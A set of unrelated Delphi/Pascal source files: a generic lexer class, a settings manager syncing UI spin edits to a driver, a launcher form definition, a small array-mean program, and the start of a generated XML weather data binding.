Empty: TTextPosition; static; end; TIdentifier = record Name: string; TextPosition: TTextPosition; class function Make(const Name: string): TIdentifier; overload; static; inline; class function Make(const Name: string; const ATextPosition: TTextPosition): TIdentifier; overload; static; inline; class function Combine(const Left, Right: TIdentifier): TIdentifier; static; class function Empty: TIdentifier; static; end; TParserPosition = record Source: string; SourcePosition: Integer; Row, Col: Integer; LastEnterPos: Integer; TokenID: Integer; OriginalToken: string; end; {$IFDEF NEXTGEN} AnsiChar = System.UTF8Char; {$ENDIF} TGenericLexer = class strict private fTokens: TParseTokens; // Registered tokens fSource: string; // Source string fLength: Integer; // Length of source string fSrcPos: Integer; // Current position in the source string fCutToken: PCharToken; // The current token structure fAmbiguousTokenId: Integer; // The current ambiguous token Id fRow: Integer; // Номер строки текущей позиции (начинается с единицы) fLastEnterPos: Integer; // Позиция последнего переноса строки (необходим для определения позиции формата (row,col)) fPrevPostion: TTextPosition; // Позиция предыдущего токена формата (row,col) fUpCase: array [#0..#127] of AnsiChar; // символы в UpCase fIdentifireType: TIdentifierType; // Тип идентификатора (литерал/строка/число/символ) fIdentifireId: Integer; // Id for an identifier fEofId: Integer; // Id for the and of file fAmbiguousId: Integer; // Id for ambiguous tokens fTokenCaptions: TStrings; // Название токоенов fSeparators: string; fErrorState: TParserErrorState; fOmitted: string; fTokenIDGenerator: Integer; private function GetPosition: TTextPosition; inline; function GetLinePosition: TTextPosition; inline; procedure SetSource(const Value: string); procedure SetSeparators(const Value: string); procedure SetOmitted(const Value: string); function GetTokenName: string; function MoveNextInternal: Integer; protected fCurrentToken: string; fCurrentTokenId: Integer; // The current token Id property AmbiguousId: Integer read fAmbiguousId write fAmbiguousId; procedure RegisterToken(const Token: string; aTokenID: Integer; aTokenType: TTokenType; const TokenCaption: string = ''); overload; procedure RegisterToken(const Token: string; aTokenID: Integer; aTokenType: TTokenType; Priority: TTokenClass; const TokenCaption: string = ''); overload; //procedure RegisterRemToken(const BeginToken, EndToken: string); procedure RegisterRemToken(const BeginToken, EndToken: string; BeginTokenID, EndTokenID: Integer); procedure ParseMultiLineRem(TokenID: Integer; var SPos: Integer); procedure ParseOneLineRem(var SPos: Integer); procedure ParseDidgit(SPos: Integer); procedure ParseCharCode(SPos: Integer); overload; procedure ParseQuote(Ch: Char; SPos: Integer); function ParseDoubleQuote(Ch: Char; SPos: Integer): Integer; procedure ParseUnicodeChars(SPos: Integer); procedure ParseBinPrefix(SPos: Integer); procedure ParseHexPrefix(SPos: Integer); procedure SetIdentifireType(const Value: TIdentifierType); property TokenCaptions: TStrings read fTokenCaptions; property EofID: Integer read fEofId write fEofId; property IdentifireID: Integer read fIdentifireId write fIdentifireId; property SeparatorChars: string read fSeparators write SetSeparators; property OmittedChars: string read fOmitted write SetOmitted; property Tokens: TParseTokens read fTokens; property CurToken: PCharToken read fCutToken; property CurrentToken: string read fCurrentToken; // Для не идентификаторов равен пустой строке function GetNextToken: PCharToken; function GetNextChar: Char; inline; function GetNextTokenId: Integer; function GetNextCharIsSeparator: Boolean; inline; public constructor Create(const Source: string); virtual; destructor Destroy; override; /////////////////////////////////////////////////// procedure First; property CurrentTokenId: Integer read fCurrentTokenID; property AmbiguousTokenId: Integer read fAmbiguousTokenID; property ErrorState: TParserErrorState read fErrorState; property Source: string read fSource write SetSource; property SourcePosition: Integer read fSrcPos; property TokenName: string read GetTokenName; // Строковое представление токена property Position: TTextPosition read GetPosition; // Позиция текущего токена формата (row,col) property PrevPosition: TTextPosition read fPrevPostion; property LinePosition: TTextPosition read GetLinePosition; property IdentifireType: TIdentifierType read fIdentifireType; function TokenLexem(TokenID: Integer): string; function GetSubString(StartPos, EndPos: Integer): string; procedure GetIdentifier(var ID: TIdentifier); procedure GetTokenAsIdentifier(var ID: TIdentifier); procedure SaveState(out State: TParserPosition); procedure LoadState(const State: TParserPosition); end; implementation { TStringParser } function TGenericLexer.GetNextChar: Char; begin Result := fSource[fSrcPos]; end; function TGenericLexer.GetNextCharIsSeparator: Boolean; var NextChar: Char; Token: PCharToken; begin Result := False; NextChar := GetNextChar; if NextChar <= MaxTokenChar then begin Token := addr(fTokens[GetNextChar]); Result := tfSeparator in Token.Flags; end; end; function TGenericLexer.GetNextToken: PCharToken; var Ch: Char; begin Ch := Char(fUpCase[fSource[fSrcPos]]); Result := addr(Tokens[Ch]); end; constructor TGenericLexer.Create(const Source: string); var c: Char; begin fTokenIDGenerator := 1000; SetSource(Source); fTokenCaptions := TStringList.Create; fTokens[MaxTokenChar].TokenType := ttUnicodeChars; fTokens['0'].Flags := [tfBinDigit]; fTokens['1'].Flags := [tfBinDigit]; for c := '0' to '9' do begin with fTokens[c] do begin TokenType := ttDigit; Flags := Flags + [tfDigit, tfHexDigit]; end; end; for c := 'A' to 'F' do begin fTokens[c].Flags := [tfHexDigit]; end; // UpCase таблица for c := Low(fUpCase) to High(fUpCase) do fUpCase[c] := AnsiChar(UpCase(c)); end; destructor TGenericLexer.Destroy; begin fTokenCaptions.Free; inherited; end; procedure TGenericLexer.First; begin fSrcPos := 1; fRow := 1; fCurrentToken := ''; fCurrentTokenID := -1; fLastEnterPos := 0; end; function TGenericLexer.MoveNextInternal: Integer; var SPos, SPos2, ReadedChars, i, RemID: Integer; Ch: Char; Token, ptmp, ptmp2: PCharToken; begin fPrevPostion := Position; fIdentifireType := itNone; Result := fEofId; SPos := fSrcPos; ReadedChars := 1; RemID := -1; while SPos <= fLength do begin Ch := fSource[SPos]; if Ch < MaxTokenChar then begin // первые символы токенов в списке Tokens есть и в LowerCase и в UpperCase // поэтому приводить к UpperCase не нужно Token := Addr(Tokens[Ch]); if Assigned(Token.ChildTokens) then begin ptmp2 := Token; SPos2 := SPos + 1; while SPos2 <= fLength do begin // следующие символы токенов в списке Tokens только в UpperCase // поэтому приводим к UpperCase Ch := fSource[SPos2]; if Ch > MaxTokenChar then begin Token := ptmp2; Break; end; Ch := Char(fUpCase[Ch]); ptmp := nil; for i := 0 to Length(ptmp2.ChildTokens) - 1 do begin ptmp := Addr(ptmp2.ChildTokens[i]); if Ch = ptmp.TokenChar then begin ptmp2 := ptmp; Inc(SPos2); Break; // next step in multi-char block rem end; end; if ptmp = ptmp2 then Continue else Break; end; if ptmp2 <> Token then begin if (ptmp2.TokenType <> ttNone) and ((SPos2 > fLength) or (tfSeparator in Tokens[Ch].Flags) or (tfSeparator in ptmp2.Flags)) then begin Token := ptmp2; end else ReadedChars := SPos2 - SPos; SPos := SPos2 - 1; end; end; end else Token := Addr(Tokens[MaxTokenChar]); // Unicode chars... fCutToken := Token; case Token.TokenType of ttNone: begin // read some identifier: Inc(SPos); while SPos <= fLength do begin Ch := fSource[SPos]; if (Ord(Ch) < Length(Tokens)) and (tfSeparator in Tokens[Ch].Flags) then Break; Inc(ReadedChars); Inc(SPos); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); fIdentifireType := itIdentifier; Result := fIdentifireId; fCurrentTokenID := Result; fSrcPos := SPos; Exit; end; ttToken: begin fSrcPos := SPos + 1; Result := Token.TokenID; fCurrentTokenID := Result; {$IFDEF DEBUG} fCurrentToken := TokenLexem(Result); {$ENDIF} Exit; end; ttOmited: begin Inc(SPos); Continue; end; ttUnicodeChars: begin ParseUnicodeChars(SPos); Result := fIdentifireId; Exit; end; ttDigit: begin ParseDidgit(SPos); Result := fIdentifireId; Exit; end; ttCharCode: begin ParseCharCode(SPos); Result := fIdentifireId; Exit; end; ttNewLine: begin // process NEWLINE: Inc(FRow); fLastEnterPos := SPos; end; ttHexPrefix: begin ParseHexPrefix(SPos); Result := fIdentifireId; Exit; end; ttBinPrefix: begin ParseBinPrefix(SPos); Result := fIdentifireId; Exit; end; ttSingleQuote, ttDoubleQuote: begin ParseQuote(Ch, SPos); Result := fIdentifireId; Exit; end; ttOneLineRem: begin ParseOneLineRem(SPos); ReadedChars := 1; end; ttStartRem: begin ParseMultiLineRem(Token.TokenID, SPos); ReadedChars := 1; end; ttEndRem: begin if RemID <> -1 then begin Inc(SPos); Result := fIdentifireId;// !!! fSrcPos := SPos; end else begin Result := Token.TokenID; fSrcPos := SPos + 1; end; fCurrentTokenID := Result; {$IFDEF DEBUG} fCurrentToken := TokenLexem(Result); {$ENDIF} Exit; end; end; Inc(SPos); end; end; procedure TGenericLexer.ParseBinPrefix(SPos: Integer); var ReadedChars: Integer; begin Inc(SPos); ReadedChars := 0; while (SPos <= fLength) and (tfBinDigit in Tokens[UpCase(fSource[SPos])].Flags) do begin Inc(SPos); Inc(ReadedChars); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); fIdentifireType := itBinNumber; fCurrentTokenID := fIdentifireId; fSrcPos := SPos; end; procedure TGenericLexer.ParseHexPrefix(SPos: Integer); var ReadedChars: Integer; begin Inc(SPos); ReadedChars := 0; while (SPos <= fLength) and (tfHexDigit in Tokens[UpCase(fSource[SPos])].Flags) do begin inc(SPos); Inc(ReadedChars); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); fIdentifireType := itHextNumber; fCurrentTokenID := fIdentifireId; fSrcPos := SPos; end; procedure TGenericLexer.ParseDidgit(SPos: Integer); type TNumberSymbols = set of (nsExponent, nsPoint, nsSign); var SPos2, ReadedChars: integer; Ch: Char; NumberSymbols: TNumberSymbols; begin NumberSymbols := []; ReadedChars := 0; Inc(SPos); Inc(ReadedChars); while SPos <= fLength do begin Ch := Char(fUpCase[fSource[SPos]]); if Ch = 'E' then begin if nsExponent in NumberSymbols then Break; Include(NumberSymbols, nsExponent); end else if (Ch = '.') then begin SPos2 := SPos + 1; if (nsPoint in NumberSymbols) or (SPos2 > fLength) or (not (tfDigit in Tokens[fSource[SPos2]].Flags)) then break; Include(NumberSymbols, nsPoint); end else if ((Ch = '+') or (Ch = '-')) and (nsExponent in NumberSymbols) then begin if nsSign in NumberSymbols then Break; Include(NumberSymbols, nsSign); end else if (Tokens[Ch].TokenType <> ttDigit) then Break; Inc(SPos); Inc(ReadedChars); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); if (nsPoint in NumberSymbols) or (nsExponent in NumberSymbols) then fIdentifireType := itFloat else fIdentifireType := itInteger; fCurrentTokenID := fIdentifireId; fSrcPos := SPos; end; procedure TGenericLexer.ParseMultiLineRem(TokenID: Integer; var SPos: Integer); var SPos2, i, RemID: integer; Token, ptmp: PCharToken; Ch: Char; begin RemID := TokenID; while SPos < fLength do begin Inc(SPos); Ch := fSource[SPos]; if Ch > MaxTokenChar then continue; Token := Addr(Tokens[Ch]); // process NEWLINE: if Token.TokenType = ttNewLine then begin Inc(FRow); fLastEnterPos := SPos; end else if (tfEndBlockRem in Token.Flags) then begin if Token.TokenType = ttEndRem then begin if Token.TokenID = RemID then Break // end of "one-char" block rem end else begin SPos2 := SPos + 1; while SPos2 < fLength do begin Ch := fSource[SPos2]; for i := 0 to Length(Token.ChildTokens) - 1 do begin ptmp := Addr(Token.ChildTokens[i]); with ptmp^ do if Ch = TokenChar then begin if tfEndBlockRem in Flags then begin if (TokenID = RemID) and (TokenType = ttEndRem) then begin SPos := SPos2; Break; // end of "multi-char" block rem end; end else begin Inc(SPos2); Break; // next step in multi-char block rem end; end else Continue; Break; end; Break; end; if SPos = SPos2 then Break; // "multi-char" block rem was successfully found end; end; end; end; procedure TGenericLexer.ParseOneLineRem(var SPos: Integer); var Ch: Char; begin repeat Inc(SPos); if SPos > fLength then Break; Ch := fSource[SPos]; if (Ord(Ch) < Length(Tokens)) and (Tokens[Ch].TokenType = ttNewLine) then Break; until False; // process NEWLINE: Inc(FRow); fLastEnterPos := SPos; end; procedure TGenericLexer.ParseQuote(Ch: Char; SPos: Integer); var QuoteChar: Char; SPos2, ReadedChars: Integer; begin QuoteChar := Ch; ReadedChars := 0; Inc(SPos); while SPos <= fLength do begin Ch := fSource[SPos]; if (Ch = QuoteChar) then begin SPos2 := SPos + 1; if (SPos2 <= fLength) and (fSource[SPos2] = QuoteChar) then begin Inc(SPos); // skip second quote char Inc(ReadedChars); end else begin Break; end; end; Inc(SPos); Inc(ReadedChars); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); // replace double <''> with single <'> if QuoteChar = '''' then fCurrentToken := StringReplace(fCurrentToken, '''''', '''', [rfReplaceAll]); if Length(fCurrentToken) = 1 then fIdentifireType := itChar else fIdentifireType := itString; // end read; fCurrentTokenID := fIdentifireId; fSrcPos := SPos + 1; // Inc(SPos); end; function TGenericLexer.ParseDoubleQuote(Ch: Char; SPos: Integer): Integer; var QuoteChar: Char; SignIdx, SPos2, ReadedChars, SignReadedChars, SignLen: Integer; Sign: string; begin QuoteChar := Ch; SignReadedChars := 0; // читаем сигнатуру Inc(SPos); while SPos <= fLength do begin Ch := fSource[SPos]; if (Ch = QuoteChar) then break; Inc(SPos); Inc(SignReadedChars); end; Sign := UpperCase(Copy(fSource, SPos - SignReadedChars, SignReadedChars)) + QuoteChar; SignLen := Length(Sign); ReadedChars := 0; // читаем многострочную строку Inc(SPos); while SPos <= fLength do begin Ch := fSource[SPos]; if (Ch = QuoteChar) then begin SPos2 := SPos + 1; SignReadedChars := 0; while (SPos2 <= fLength) do begin Ch := fSource[SPos2]; SignIdx := SPos2 - SPos; if (SignIdx <= SignLen) and (UpCase(Ch) = Sign[SignIdx]) then begin Inc(SPos2); Inc(SignReadedChars); continue; end else break; end; if SignReadedChars = Length(Sign) then break; end; Inc(SPos); Inc(ReadedChars); end; if SPos > fLength then Exit(fEofId); // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); if ReadedChars = 1 then fIdentifireType := itChar else fIdentifireType := itString; // end read; fCurrentTokenID := fIdentifireId; fSrcPos := SPos + SignLen + 1; Result := fIdentifireId; end; procedure TGenericLexer.ParseUnicodeChars(SPos: Integer); var ReadedChars: Integer; Ch: Char; begin ReadedChars := 1; Inc(SPos); while SPos <= fLength do begin Ch := fSource[SPos]; if (Ch < MaxTokenChar) and (tfSeparator in Tokens[Ch].Flags) then Break; Inc(ReadedChars); Inc(SPos); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); fIdentifireType := itIdentifier; fSrcPos := SPos; fCurrentTokenID := fIdentifireId; // end read; end; procedure TGenericLexer.RegisterRemToken(const BeginToken, EndToken: string; BeginTokenID, EndTokenID: Integer); begin RegisterToken(BeginToken, EndTokenID, ttStartRem); RegisterToken(EndToken, EndTokenID, ttEndRem); end; {procedure TStringParser.RegisterRemToken(const BeginToken, EndToken: string); begin RegisterToken(BeginToken, FTokenIDGenerator, ttStartRem); RegisterToken(EndToken, FTokenIDGenerator, ttEndRem); Inc(FTokenIDGenerator); end;} procedure TGenericLexer.RegisterToken(const Token: string; aTokenID: Integer; aTokenType: TTokenType; const TokenCaption: string); begin RegisterToken(Token, aTokenID, aTokenType, TTokenClass.StrongKeyword, TokenCaption); end; procedure TGenericLexer.RegisterToken(const Token: string; aTokenID: Integer; aTokenType: TTokenType; Priority: TTokenClass; const TokenCaption: string); var i, j, c, c2: Integer; pToken, pt: PCharToken; ch: Char; s: string; begin c := Length(Token); {$IFDEF DEBUG} if c = 0 then raise Exception.Create('Token must be assigned'); {$ENDIF} pToken := @fTokens[UpCase(Token[1])]; if aTokenType = ttEndRem then Include(pToken.Flags, tfEndBlockRem); for i := 2 to c do begin ch := UpCase(Token[i]); pt := nil; with pToken^ do begin c2 := Length(ChildTokens); for j := 0 to c2 - 1 do if ChildTokens[j].TokenChar = ch then begin pt := @ChildTokens[j]; Break; end; if not Assigned(pt) then begin SetLength(ChildTokens, c2 + 1); pt := @ChildTokens[c2]; pt.TokenChar := ch; pt.Flags := fTokens[ch].Flags; if aTokenType = ttEndRem then Include(pt.Flags, tfEndBlockRem); end; end; pToken := pt; end; pToken.TokenType := aTokenType; pToken.TokenID := aTokenID; pToken.TokenClass := Priority; if TokenCaption <> '' then s := TokenCaption else s := Token; fTokenCaptions.AddObject(s, TObject(aTokenID)); // Добавляем LowerCase ch := Char(fUpCase[Token[1]]); fTokens[AnsiLowerCase(ch)[1]] := fTokens[ch]; end; procedure TGenericLexer.SaveState(out State: TParserPosition); begin State.Source := fSource; State.SourcePosition := fSrcPos; State.Row := fRow; State.Col := fSrcPos - fLastEnterPos; State.LastEnterPos := fLastEnterPos; State.TokenID := fCurrentTokenID; State.OriginalToken := fCurrentToken; end; procedure TGenericLexer.LoadState(const State: TParserPosition); begin fSource := State.Source; fSrcPos := State.SourcePosition; fRow := State.Row; fLength := Length(fSource); fLastEnterPos := State.LastEnterPos; fCurrentTokenID := State.TokenID; fCurrentToken := State.OriginalToken; end; function TGenericLexer.GetNextTokenId: Integer; begin Result := MoveNextInternal(); fAmbiguousTokenId := Result; case CurToken.TokenClass of TTokenClass.AmbiguousPriorityIdentifier: begin fCurrentTokenId := fIdentifireId; fIdentifireType := itIdentifier; Exit(fIdentifireId); end; TTokenClass.AmbiguousPriorityKeyword: begin fIdentifireType := itIdentifier; end; TTokenClass.Ambiguous: begin fCurrentTokenId := fAmbiguousId; fIdentifireType := itIdentifier; Exit(fAmbiguousId); end; end; end; procedure TGenericLexer.SetIdentifireType(const Value: TIdentifierType); begin fIdentifireType := Value; end; procedure TGenericLexer.SetOmitted(const Value: string); var i: Integer; c: Char; begin for i := 1 to Length(Value) do begin c := Value[i]; {$IFDEF DEBUG} if c > MaxTokenChar then raise Exception.CreateFmt('Token = "%s" is out of range', [c]); {$ENDIF} with fTokens[UpCase(c)] do begin TokenChar := Value[i]; TokenType := ttOmited; end; end; fOmitted := Value; end; procedure TGenericLexer.SetSeparators(const Value: string); var i: Integer; c: Char; begin for i := 1 to Length(Value) do begin c := Value[i]; {$IFDEF DEBUG} if c > MaxTokenChar then raise Exception.CreateFmt('Token = "%s" is out of range', [c]); {$ENDIF} Include(fTokens[c].Flags, tfSeparator); end; fSeparators := Value; end; procedure TGenericLexer.SetSource(const Value: string); begin fLength := Length(Value); fSource := Value; First; end; function TGenericLexer.TokenLexem(TokenID: Integer): string; var i: Integer; begin if TokenID = fAmbiguousId then TokenID := fAmbiguousTokenId; i := fTokenCaptions.IndexOfObject(TObject(TokenID)); if i <> -1 then Result := fTokenCaptions[i] else Result := ''; end; function TGenericLexer.GetLinePosition: TTextPosition; begin Result.Row := fRow; Result.Col := -1; end; procedure TGenericLexer.GetIdentifier(var ID: TIdentifier); begin ID.Name := fCurrentToken; ID.TextPosition.Row := fRow; ID.TextPosition.Col := fSrcPos - fLastEnterPos; end; function TGenericLexer.GetPosition: TTextPosition; begin Result.Row := fRow; Result.Col := fSrcPos - fLastEnterPos; end; function TGenericLexer.GetSubString(StartPos, EndPos: Integer): string; begin Result := Copy(fSource, StartPos, EndPos - StartPos); end; procedure TGenericLexer.GetTokenAsIdentifier(var ID: TIdentifier); begin ID.Name := TokenLexem(FCurrentTokenID); ID.TextPosition.Row := fRow; ID.TextPosition.Col := fSrcPos - fLastEnterPos; end; function TGenericLexer.GetTokenName: string; begin if fCurrentTokenID = fIdentifireId then Result := fCurrentToken else Result := TokenLexem(FCurrentTokenID); end; procedure TGenericLexer.ParseCharCode(SPos: Integer); var ReadedChars: integer; Ch: Char; CToken: PCharToken; begin ReadedChars := 0; Inc(SPos); Inc(ReadedChars); while SPos <= fLength do begin Ch := Char(fUpCase[fSource[SPos]]); CToken := addr(Tokens[Ch]); if (CToken.TokenType <> ttCharCode) and (CToken.TokenType <> ttHexPrefix) and not (tfHexDigit in CToken.Flags) and not (tfDigit in CToken.Flags) then Break; Inc(SPos); Inc(ReadedChars); end; // read identifier: fCurrentToken := Copy(fSource, SPos - ReadedChars, ReadedChars); fIdentifireType := itCharCodes; fCurrentTokenID := fIdentifireId; fSrcPos := SPos; end; { TTextPosition } constructor TTextPosition.Create(Row: Integer); begin Self.Row := Row; Self.Col := 0; end; constructor TTextPosition.Create(Row, Col: Integer); begin Self.Row := Row; Self.Col := Col; end; class function TTextPosition.Empty: TTextPosition; begin Result.Row := 0; Result.Col := 0; end; { TIdentifier } class function TIdentifier.Combine(const Left, Right: TIdentifier): TIdentifier; begin if Left.Name <> '' then Result.Name := Left.Name + '.' + Right.Name else Result.Name := Right.Name; Result.TextPosition := Right.TextPosition; end; class function TIdentifier.Empty: TIdentifier; begin Result.Name := ''; Result.TextPosition := TTextPosition.Empty; end; class function TIdentifier.Make(const Name: string; const ATextPosition: TTextPosition): TIdentifier; begin Result.Name := Name; Result.TextPosition := ATextPosition; end; class function TIdentifier.Make(const Name: string): TIdentifier; begin Result.Name := Name; Result.TextPosition := TTextPosition.Empty; end; end.
unit SettingsManager; {$mode delphi} interface uses Classes, SysUtils; type TSettingType = (stInt, stFloat); TSendToDriverEvent = procedure(Key: String; Value: String) of object; type { TSettingsManager } TSettingsManager = class private List: TList; SendToDriverEvent: TSendToDriverEvent; AutoUpdate_: Boolean; procedure CheckParamsChanged(); public constructor Create(SendToDriverEvent :TSendToDriverEvent); procedure SendToDriver(Key: String; Value: String); procedure Add(Key: string; Component: TComponent); procedure ValueUpdated(Key: String; Value: String); procedure SendChanged(); procedure WriteToFile(FileName :String); procedure ReadFromFile(FileName :String); procedure SetAutoUpdate(Auto :Boolean); published property AutoUpdate: Boolean write SetAutoUpdate; end; implementation uses IniFiles, SpinEx, AdvSpinEdit, globals; type { TSetting } TSetting = class private Component: TComponent; IntValue :Integer; FloatValue: Double; Manager :TSettingsManager; procedure ParamChanged(Sender: TObject); procedure UpdateChangedIndicator(); public Key :String; Changed :Boolean; constructor Create(Manager :TSettingsManager; Key: string; Component: TComponent); procedure ValueUpdated(Value: string); procedure SendIfChanged(); end; { TSetting } procedure TSetting.ParamChanged(Sender: TObject); begin If Manager.AutoUpdate_ then begin SendIfChanged(); end else begin UpdateChangedIndicator(); end; end; procedure TSetting.UpdateChangedIndicator(); begin if Component is TAdvSpinEdit then begin Changed := FloatValue <> TAdvSpinEdit(Component).Value; if Changed then begin TAdvSpinEdit(Component).Font.Color := ColChanged; end else begin TAdvSpinEdit(Component).Font.Color := ColUnChanged; end; end; if Component is TSpinEditEx then begin Changed := IntValue <> TSpinEditEx(Component).Value; if Changed then begin TSpinEditEx(Component).Font.Color := ColChanged; end else begin TSpinEditEx(Component).Font.Color := ColUnchanged; end; end; end; constructor TSetting.Create(Manager :TSettingsManager; Key: string; Component: TComponent); begin self.Component := Component; self.Manager := Manager; self.Key := Key; if Component is TAdvSpinEdit then begin TAdvSpinEdit(Component).OnChange := ParamChanged; end; if Component is TSpinEditEx then begin TSpinEditEx(Component).OnChange := ParamChanged; end; end; procedure TSetting.ValueUpdated(Value: string); begin FloatValue := StrToFloatDef(FixDec(Value), -1); if Component is TAdvSpinEdit then begin TAdvSpinEdit(Component).Value := FloatValue; end; if Component is TSpinEditEx then begin IntValue := Trunc(FloatValue); TSpinEditEx(Component).Value := IntValue; end; UpdateChangedIndicator(); end; procedure TSetting.SendIfChanged(); begin UpdateChangedIndicator(); if Changed then begin if Component is TAdvSpinEdit then begin FloatValue := TAdvSpinEdit(Component).Value; Manager.SendToDriver(Key, NormalizeDec(FloatToStr(FloatValue))); end; if Component is TSpinEditEx then begin IntValue := TSpinEditEx(Component).Value; Manager.SendToDriver(Key, IntToStr(IntValue)); end; UpdateChangedIndicator(); end; end; { TSettingsManager } procedure TSettingsManager.WriteToFile(FileName: String); var IniFile: TIniFile; begin IniFile := TIniFile.Create(FileName); with IniFile do begin //seParametersP.Value:=ReadFloat(Sect,'P',0); //seParametersI.Value:=ReadFloat(Sect,'I',0); //seParametersD.Value:=ReadFloat(Sect,'D',0); //seParametersDeadband.Value:=ReadFloat(Sect,'Deadband',0); //seParametersMaxOutput.Value:=ReadInteger(Sect,'MI',95); //seParametersFF0.Value:=ReadFloat(Sect,'FF0',0); //seParametersFF1.Value:=ReadFloat(Sect,'FF1',0); //seParametersFaultError.Value:=ReadInteger(Sect,'FaultError',1000); //seParametersStepMultiplier.Value:=ReadInteger(Sect,'StepMultiplier',1); //CheckParamsChanged(); end; IniFile.Free(); end; procedure TSettingsManager.ReadFromFile(FileName: String); var IniFile:TIniFile; begin IniFile:=TIniFile.Create(FileName); with IniFile do begin //WriteFloat(Sect,'P',seParametersP.Value); //WriteFloat(Sect,'I',seParametersI.Value); //WriteFloat(Sect,'D',seParametersD.Value); //WriteFloat(Sect,'Deadband',seParametersDeadband.Value); //WriteInteger(Sect,'MO',seParametersMaxOutput.IntValue); //WriteFloat(Sect,'FF0',seParametersFF0.Value); //WriteFloat(Sect,'FF1',seParametersFF1.Value); //WriteInteger(Sect,'FaultError',seParametersFaultError.IntValue); //WriteInteger(Sect,'StepMultiplier',seParametersStepMultiplier.IntValue); end; IniFile.Free; end; procedure TSettingsManager.SetAutoUpdate(Auto: Boolean); begin Self.AutoUpdate_ := Auto; if Auto then begin SendChanged(); end; end; procedure TSettingsManager.CheckParamsChanged(); begin //ParamsChanged.Clear(); //ParamChanged(seParametersP, seParametersP.Value<>ActPIDParams.P); //ParamChanged(seParametersI, seParametersI.Value<>ActPIDParams.I); //ParamChanged(seParametersD, seParametersD.Value<>ActPIDParams.D); //ParamChanged(seParametersDeadband, seParametersDeadband.Value<>ActPIDParams.Deadband); //ParamChanged(seParametersMaxOutput, seParametersMaxOutput.Value<>ActPIDParams.MaxOutput); //ParamChanged(seParametersFF0, seParametersFF0.Value<>ActPIDParams.FF0); //ParamChanged(seParametersFF1, seParametersFF1.Value<>ActPIDParams.FF1); //ParamChanged(seParametersFaultError, seParametersFaultError.Value<>round(ActPIDParams.FaultError)); //ParamChanged(seParametersStepMultiplier, seParametersStepMultiplier.Value<>ActPIDParams.Multiplier); end; //// event called by change of any param on UI //procedure TfMain.seParametersPChange(Sender: TObject); //begin // CheckParamsChanged(); //end; // constructor TSettingsManager.Create(SendToDriverEvent :TSendToDriverEvent); begin List := TList.Create(); Self.SendToDriverEvent := SendToDriverEvent; end; procedure TSettingsManager.SendToDriver(Key: String; Value: String); begin SendToDriverEvent(Key, Value); end; procedure TSettingsManager.Add(Key: string; Component: TComponent); begin List.Add(TSetting.Create(Self, Key, Component)); end; procedure TSettingsManager.ValueUpdated(Key: String; Value: String); var I :Integer; begin For I := 0 to List.Count - 1 do begin If TSetting(List[I]).Key = Key then begin TSetting(List[I]).ValueUpdated(Value); Exit; end; end; end; procedure TSettingsManager.SendChanged(); var I :Integer; begin For I := 0 to List.Count - 1 do begin TSetting(List[I]).SendIfChanged(); end; end; end.
object LauncherFrm: TLauncherFrm Left = 598 Top = 387 BorderStyle = bsDialog Caption = 'Launcher' ClientHeight = 118 ClientWidth = 272 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OldCreateOrder = False Position = poDesktopCenter PixelsPerInch = 96 TextHeight = 13 object Label1: TLabel Left = 12 Top = 12 Width = 100 Height = 13 Alignment = taRightJustify AutoSize = False Caption = 'Screen resolution' end object Label2: TLabel Left = 30 Top = 34 Width = 83 Height = 13 Alignment = taRightJustify AutoSize = False Caption = 'Refresh rate' end object Label3: TLabel Left = 30 Top = 56 Width = 83 Height = 13 Alignment = taRightJustify AutoSize = False Caption = 'Bits per pixel' end object ComboBox1: TComboBox Left = 116 Top = 10 Width = 145 Height = 21 ItemHeight = 13 ItemIndex = 0 TabOrder = 0 Text = '1024 x 768' Items.Strings = ( '1024 x 768' '800 x 600' '640 x 480') end object ComboBox2: TComboBox Left = 116 Top = 32 Width = 145 Height = 21 ItemHeight = 13 ItemIndex = 0 TabOrder = 1 Text = '100 Hrz' Items.Strings = ( '100 Hrz' '85 Hrz' '75 Hrz' '60 Hrz') end object ComboBox3: TComboBox Left = 116 Top = 54 Width = 145 Height = 21 ItemHeight = 13 ItemIndex = 0 TabOrder = 2 Text = '32 bpp' Items.Strings = ( '32 bpp' '16 bpp') end object StartBtn: TButton Left = 178 Top = 84 Width = 75 Height = 25 Caption = 'Start' TabOrder = 3 OnClick = StartBtnClick end object Panel1: TPanel Left = 0 Top = 0 Width = 272 Height = 118 Align = alClient BevelOuter = bvNone TabOrder = 4 Visible = False ExplicitTop = 8 end object Timer1: TTimer Interval = 200 OnTimer = Timer1Timer Left = 194 Top = 36 end end
program InfinitePenguins; //Program will find the mean of an array. var arrayList: array [1..10] of double; k, count: integer; a: double; function Mean(list: array of double): double; begin a:=0; for count:= 1 to length(list) do begin a := a + list[count]; end; Mean:= a/length(list); end; begin begin for k:=1 to length(arrayList) do arrayList[k] := k; end; writeln('Mean of array is: ', Mean(arrayList)); readln(); end.
{***************************************************************************************} { } { XML Data Binding } { } { Generated on: 11-7-2013 13:33:36 } { Generated from: Z:\pg\Documents\pgdemos\FMWeather\src\sample_data\weather.xml } { Settings stored in: Z:\pg\Documents\pgdemos\FMWeather\src\sample_data\weather.xdb } { } {***************************************************************************************} unit xmlbinding_weather; interface uses xmldom, XMLDoc, XMLIntf; type { Forward Decls } IXMLCurrentWeatherType = interface; { IXMLCurrentWeatherType } IXMLCurrentWeatherType = interface(IXMLNode) ['{D9CDE60B-5AA9-46E5-A0DA-DD33CC3EEC5C}'] { Property Accessors } function Get_Location: UnicodeString; function Get_Time: UnicodeString; function Get_Wind: UnicodeString; function Get_Visibility: UnicodeString; function Get_SkyConditions: UnicodeString; function Get_Temperature: UnicodeString; function Get_DewPoint: UnicodeString; function Get_RelativeHumidity: UnicodeString; function Get_Pressure: UnicodeString; function Get_Status: UnicodeString; procedure Set_Location(Value: UnicodeString); procedure Set_Time(Value: UnicodeString); procedure Set_Wind(Value: UnicodeString); procedure Set_Visibility(Value: UnicodeString); procedure Set_SkyConditions(Value: UnicodeString); procedure Set_Temperature(Value: UnicodeString); 